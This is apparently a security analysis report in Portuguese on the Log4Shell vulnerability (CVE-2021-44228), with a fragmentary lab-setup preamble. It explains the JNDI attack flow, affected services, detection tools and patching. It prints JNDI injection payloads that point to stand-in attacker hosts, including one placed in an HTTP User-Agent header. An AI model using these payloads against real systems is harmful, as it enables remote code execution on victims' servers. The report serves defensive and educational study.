이글루코퍼레이션 원치현 Log4shell 분석보고서

Log4Shell

CVE-2021-44228 Log4j é uma biblioteca gratuita e de código aberto da Apache Foundation, baseada em Java, que permite o registro de logs em vários serviços Java. Ela utiliza a funcionalidade de lookup JNDI para descobrir e referenciar dados e objetos JNDI, usando recursos encontrados através do LDAP (porta 1389) e JNDI.

Download da imagem Docker do servidor vulnerável Asudo git clone sudo docker build . -t vulnerable-app Cria uma nova imagem com o nome vulnerable-app no diretório atual, gerando a imagem Docker.

github.com/welk

Encerrar servidor vulnerável não utilizado docker ps -a Verifica todas as imagens Docker em execução docker container id Verifica o ID do contêiner

Relatório de Análise do Log4Shell (CVE-2021-44228)

1. Visão Geral

Log4Shell (CVE-2021-44228) é uma vulnerabilidade de Execução Remota de Código (RCE) encontrada na biblioteca Apache Log4j.
Atacantes podem usar payloads maliciosos para executar código arbitrário, podendo causar danos generalizados.

Este relatório analisa o princípio, impacto, casos de exploração, detecção e métodos de resposta do Log4Shell.

2. Visão Geral da Vulnerabilidade

3. Princípio da Vulnerabilidade

Log4Shell permite que um atacante execute código malicioso em um servidor remoto explorando uma falha na funcionalidade de lookup JNDI (Java Naming and Directory Interface).

3.1 Fluxo do Ataque

1. O atacante envia uma mensagem de log contendo uma string maliciosa para a aplicação.
2. Durante o registro do log, o Log4j executa um JNDI Lookup.
3. O JNDI consulta dados de servidores remotos, como LDAP, RMI, etc.
4. O servidor do atacante carrega e executa uma classe Java maliciosa.
5. Ocorre a Execução Remota de Código (RCE).

3.2 Exemplo de Código de Ataque

O atacante pode explorar a vulnerabilidade apenas registrando a seguinte string no log:

${jndi:ldap://attacker.com:1389/exploit}

4. Alcance do Impacto

A vulnerabilidade Log4Shell afetou inúmeras empresas e serviços que usam Log4j.

4.1 Principais Serviços e Sistemas Vulneráveis

• Serviços em nuvem: AWS, Google Cloud, Microsoft Azure
• Aplicações empresariais: Apache Struts, ElasticSearch, VMware vCenter
• Servidores de jogos: Minecraft, Steam
• Várias aplicações web e servidores: Spring Boot, Tomcat, etc.

5. Casos de Exploração e Exemplos de Ataque

5.1 Ataque ao Servidor Minecraft

O atacante podia controlar o servidor inserindo a seguinte string no chat do Minecraft:

복사
편집
${jndi:ldap://attacker.com:1389/exploit}

Quando o servidor registrava essa string, o JNDI Lookup executava código malicioso do servidor do atacante.

5.2 Ataque a Aplicação Web

Inserir payload malicioso em campos registrados em log, como User-Agent, Referer, X-Forwarded-For de requisições HTTP.

Exemplo:

복사
편집
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}

6. Métodos de Detecção e Resposta

6.1 Métodos de Detecção da Vulnerabilidade

✅ Uso de scanners de segurança

• log4j-scan (https://github.com/fullhunt/log4j-scan)
• log4shell-detector (https://github.com/Neo23x0/log4shell-detector)

✅ Verificação de arquivos de log

• Se padrões como ${jndi:ldap://...} forem encontrados nos logs, é necessária uma resposta imediata.

✅ Monitoramento de rede

• Verificar se há requisições anormais a LDAP, RMI, etc.

6.2 Métodos de Resposta

✅ Medidas imediatas

• Atualizar para Log4j versão 2.15.0 ou superior.
• Definir a variável de ambiente ao executar Java:

-Dlog4j2.formatMsgNoLookups=true

• Bloquear padrões como jndi:ldap:// no firewall e IDS/IPS.

✅ Medidas de segurança de longo prazo

• Restringir o uso de JNDI e reforçar políticas de segurança.
• Aplicar WAF (Web Application Firewall).
• Realizar verificações periódicas de segurança e varreduras de vulnerabilidades.

7. Patches e Métodos de Resolução

✅ Recomenda-se atualizar para a versão mais recente (2.17.1 ou superior)!

8. Conclusão

Log4Shell (CVE-2021-44228) é considerada uma das vulnerabilidades de segurança mais graves dos últimos anos. ✅ É essencial corrigir rapidamente sistemas vulneráveis e realizar monitoramento contínuo de segurança. ✅ Todas as aplicações que usam Log4j devem passar por verificações de segurança.

9. Referências

• Comunicado oficial de segurança da Apache Log4j
• Banco de Dados Nacional de Vulnerabilidades do NIST (CVE-2021-44228)
• log4j-scan (GitHub)